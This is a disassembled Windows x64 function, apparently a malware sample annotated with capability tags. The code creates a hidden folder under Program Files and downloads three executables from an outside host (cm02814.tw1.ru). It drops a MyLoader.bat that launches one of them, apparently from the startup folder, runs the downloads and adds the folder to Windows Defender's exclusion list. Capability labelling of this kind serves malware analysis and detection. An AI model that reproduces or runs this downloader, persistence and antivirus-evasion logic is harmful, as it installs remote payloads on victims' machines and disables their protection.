Function at 0x1400013d0
Capabilities:
Check if file exists
Create directory
Get common file path
Get startup folder
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x390], rax
lea r8, str.C:Program_FilesMyProgram
mov edx, 0x104
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x14000146a
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x14000145a
lea rdx, str.Failed_to_create_the_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001770
mov rcx, rax
lea rdx, [0x140001940]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400016e5
mov edx, 2
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, str.C:Program_FilesMyProgram_bbbb.exe
lea rcx, str.http:__cm02814.tw1.ru_bbbb_bbbb.exe
call fcn.140001220
lea rdx, str.C:Program_FilesMyProgramCheckerV2.exe
lea rcx, str.http:__cm02814.tw1.ru_bbbb_CheckerV2.exe
call fcn.140001220
lea rdx, str.C:Program_FilesMyProgramVenomCheck.exe
lea rcx, str.http:__cm02814.tw1.ru_bbbb_VenomCheck.exe
call fcn.140001220
xor r9d, r9d
lea r8d, [r9 + 7]
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, str.MyLoader.bat
mov edx, 0x104
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [0x140003660]
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x14000151a
lea rdx, str._echo_off_n
mov rcx, qword [rsp + 0x30]
call fcn.140001010
lea r8, str.C:Program_FilesMyProgramVenomCheck.exe
lea rdx, str.start__b__min______s__n
mov rcx, qword [rsp + 0x30]
call fcn.140001010
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.C:Program_FilesMyProgram_bbbb.exe
call fcn.1400012f0
lea rcx, str.C:Program_FilesMyProgramCheckerV2.exe
call fcn.1400012f0
lea rcx, str.C:Program_FilesMyProgramVenomCheck.exe
call fcn.1400012f0
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov rbx, 0xffffffffffffffff
mov r9d, ebx
lea r8, [rsp + 0x60]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsFolders
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rbp + 0x180]
nop dword [rax]
lea rbx, [rbx + 1]
cmp word [rax + rbx*2], 0
jne 0x1400015a0
lea eax, [rbx*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.MyProgram
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor edx, edx
mov qword [rsp + 0x50], rdx
mov r8d, 0xf
mov qword [rsp + 0x58], r8
mov byte [rsp + 0x40], dl
lea rbx, str.Hello__World_
movzx eax, byte [str.Hello__World_]
xor al, 0x41
cmp rdx, r8
jae 0x14000163d
lea rcx, [rdx + 1]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x40]
cmp r8, 0x10
cmovae rcx, qword [rsp + 0x40]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
jmp 0x14000164b
movzx r9d, al
lea rcx, [rsp + 0x40]
call fcn.140001980
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x140001661
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
jmp 0x140001614
lea rdx, str.Encrypted_Message:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001770
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rax
call fcn.140001b50
mov rcx, rax
lea rdx, [0x140001940]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400016e3
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d7c
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.140001d20
mov rbx, qword [rsp + 0x4b0]
add rsp, 0x4a0
pop rbp
ret